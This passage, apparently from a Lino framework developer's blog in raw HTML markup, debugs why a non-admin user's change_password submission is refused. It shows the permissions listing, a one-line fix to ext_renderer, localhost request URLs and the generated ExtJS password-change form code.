&lt;span class="o"&gt;--&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;insert&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;visible&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="mi"&gt;110&lt;/span&gt; &lt;span class="mi"&gt;120&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt; &lt;span class="mi"&gt;210&lt;/span&gt; &lt;span class="mi"&gt;220&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="mi"&gt;410&lt;/span&gt; &lt;span class="mi"&gt;420&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt; &lt;span class="mi"&gt;510&lt;/span&gt; &lt;span class="mi"&gt;800&lt;/span&gt; &lt;span class="n"&gt;admin&lt;/span&gt; &lt;span class="mi"&gt;910&lt;/span&gt;
&lt;span class="o"&gt;+-&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_password&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;visible&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;admin&lt;/span&gt; &lt;span class="mi"&gt;910&lt;/span&gt;
&lt;span class="o"&gt;+-&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;detail&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;visible&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;admin&lt;/span&gt; &lt;span class="mi"&gt;910&lt;/span&gt;
&lt;span class="o"&gt;+-&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;insert&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;visible&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;admin&lt;/span&gt; &lt;span class="mi"&gt;910&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I tried this manually by signing in as alice in gerd demo project.  I was
surprised to see that she &lt;em&gt;does&lt;/em&gt; have the change_password button, and the window
&lt;em&gt;does open&lt;/em&gt; and asks her to set a new password.  Only when submitting the
window, Lino tells her that she has no permission.&lt;/p&gt;
&lt;p&gt;A similar problem is for signing out. This is not a window action, so when alice
selects it, she gets immediately a warning “You have no permission to run this
action”.  I fixed this one by changing one line in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.extjs.ext_renderer.html#module-lino.modlib.extjs.ext_renderer" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.extjs.ext_renderer&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# a = user.sign_out.bound_action&lt;/span&gt;
&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MySettings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_action_by_name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sign_out&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This code looks better now, which confirms that Tonis’ change is basically a
good thing. But it seems we have a bug in Lino when it checks whether alicia has
permission to run the change_password action.  The “My preferences” window is on
MySettings as it should:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="mf"&gt;127.0.0.1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8000&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;MySettings&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But when alicia submits change_password, the AJAX call goes to the “wrong” actor
(to Users instead of MySettings):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;http://127.0.0.1:8000/api/users/Users/9?&amp;amp;fv=1234&amp;amp;fv=123456&amp;amp;fv=123456&amp;amp;&amp;amp;an=change_password
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There is an important detail to consider: the ChangePassword dialog box is
defined only once in the JS code.  And that’s what we want.  And its &lt;em&gt;name&lt;/em&gt; is
given by the actor that defines it, which is Users (not MySettings who only
inherits it). Here is the generated code:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_password_ActionFormPanel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Ext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ActionFormPanel&lt;/span&gt;&lt;span class="p"&gt;,{&lt;/span&gt;
  &lt;span class="n"&gt;hideCheckBoxLabels&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;layout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;form&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;autoHeight&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;labelAlign&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;top&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;autoScroll&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;labelWidth&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;frame&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;bodyBorder&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;action_name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;change_password&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;ls_url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/users/Users&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;window_title&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Changer mot de passe&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;before_row_edit&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="n"&gt;autoHeight&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;initComponent&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current1054&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Ext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TextField&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;anchor&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-20&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;autoHeight&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;fieldLabel&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;span style=&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s2"&gt;border-bottom: 1px dotted #000000;&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;Mot de passe actuel&amp;lt;/span&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;inputType&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;password&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;listeners&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;render&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;quicktip_renderer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Aktuelles Passwort&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;(Passwort &lt;/span&gt;&lt;span class="se"&gt;\u00e4&lt;/span&gt;&lt;span class="s2"&gt;ndern.current) The current password. Leave empty if the user has no password&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;yet. And SiteAdmin users don&amp;#39;t need to specify this at all.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;maxLength&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;current&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;selectOnFocus&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new11055&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Ext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TextField&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;anchor&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-20&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;autoHeight&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;fieldLabel&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;span style=&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s2"&gt;border-bottom: 1px dotted #000000;&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;Nouveau mot de passe&amp;lt;/span&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;inputType&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;password&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;listeners&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;render&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;quicktip_renderer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Neues Passwort&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;(Passwort &lt;/span&gt;&lt;span class="se"&gt;\u00e4&lt;/span&gt;&lt;span class="s2"&gt;ndern.new1) The new password.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;maxLength&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;new1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;selectOnFocus&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new21056&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Ext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TextField&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;anchor&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-20&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;autoHeight&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;fieldLabel&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;span style=&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s2"&gt;border-bottom: 1px dotted #000000;&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;Encore une fois&amp;lt;/span&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;inputType&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;password&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;listeners&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;render&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;quicktip_renderer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Neues Passwort nochmal&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;(Passwort &lt;/span&gt;&lt;span class="se"&gt;\u00e4&lt;/span&gt;&lt;span class="s2"&gt;ndern.new2) The new password a second time. Both passwords must match.&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;maxLength&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;new2&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;selectOnFocus&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;anchor&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-20&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;autoHeight&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;items&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current1054&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;labelAlign&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;top&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;layout&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;form&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;xtype&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;panel&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;anchor&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-20&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;autoHeight&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;items&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new11055&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;labelAlign&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;top&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;layout&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;form&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;xtype&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;panel&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;anchor&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-20&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;autoHeight&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;items&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new21056&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;labelAlign&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;top&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;layout&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;form&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;xtype&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;panel&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fields&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;current1054&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new11055&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new21056&lt;/span&gt; &lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;http_method&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;GET&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_password_ActionFormPanel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;superclass&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;initComponent&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;MySettings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;change_password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;Lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WindowAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
